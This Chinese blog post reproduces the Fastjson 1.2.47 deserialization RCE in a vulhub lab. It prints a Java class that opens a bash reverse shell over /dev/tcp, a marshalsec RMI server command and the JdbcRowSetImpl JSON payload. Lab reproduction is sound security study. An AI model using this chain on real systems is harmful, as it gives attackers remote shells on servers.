Fastjson 1.2.47 反序列化 复现

  • A+
所属分类:安全文章

环境搭建:

Fastjson靶机ip192.168.21.10 (假设公网)

Kali开启rmi服务并nc监听ip 192.168.10.12假设公网

Win服务器开启http服务存放Exploit.class 文件ip192.168.21.11 假设公网

 

使用dockervulhub

安装好后使用进入到/vulhub/fastjson/1.2.47-rce/

使用sudo docker-compose up -d 启动环境

 

Fastjson 1.2.47 反序列化 复现


访问下本地的8090端口查看是否启动

 

Fastjson 1.2.47 反序列化 复现


出现这个说明成功启动fastjson环境了

然后先去攻击机编译一个恶意的javaclass文件为之后做铺垫

新添加一个Exploit.java 文件

Exploit.java的内容为

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
   static {
       try {
           Runtime r = Runtime.getRuntime();
           Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.21.12/5555 0>&1"});
           p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}


Fastjson 1.2.47 反序列化 复现


箭头那里修改自己的nc要监听的ip和端口

然后编译成class文件

命令:javac Exploit.java

生成了Exploit.class

 

Fastjson 1.2.47 反序列化 复现

注意:javac版本最好与目标服务器接近,否则目标服务器可能无法解析class文件,会报错建议vulhub搭建的话使用Java 1.8.0_101 版本去编译

然后开一起一个http服务,可以访问class文件并可以下载就可以了

 

Fastjson 1.2.47 反序列化 复现

Fastjson 1.2.47 反序列化 复现

接着在自己的vps里开启rmi或者ldap服务

下载地址  https://github.com/mbechler/marshalsec

可以使用 git clone https://github.com/mbechler/marshalsec.git

也可以直接下载拖进去

 

Fastjson 1.2.47 反序列化 复现

下载好后然后解压sudo unzip marshalsec-master.zip

进入到这个目录里执行sudo mvn clean package -DskipTests 进行编译

 

Fastjson 1.2.47 反序列化 复现

编译好后会生成一个target文件,进入这个目录

 

Fastjson 1.2.47 反序列化 复现

需要使用到这个文件

 

Fastjson 1.2.47 反序列化 复现

然后使用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.21.11/exp/#Exploit" 9999

开启RMI服务

 

Fastjson 1.2.47 反序列化 复现

然后开启nc监听

Fastjson 1.2.47 反序列化 复现


接下来然后这个页面进行抓包

 

Fastjson 1.2.47 反序列化 复现

Fastjson 1.2.47 反序列化 复现


然后将GET改为POST 然后添加1.2.47payload

 

POST / HTTP/1.1
Host: 192.168.21.10:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.21.12:9999/Exploit",

        "autoCommit":true

    }

}


Fastjson 1.2.47 反序列化 复现

箭头指向的是kali 机器开启rmi的地址

然后rmi服务就会收到请求去加载Exploit.class

 

Fastjson 1.2.47 反序列化 复现

成功反弹到了nc

Fastjson 1.2.47 反序列化 复现



Fastjson 1.2.47 反序列化 复现


本文始发于微信公众号(安全鸭):Fastjson 1.2.47 反序列化 复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: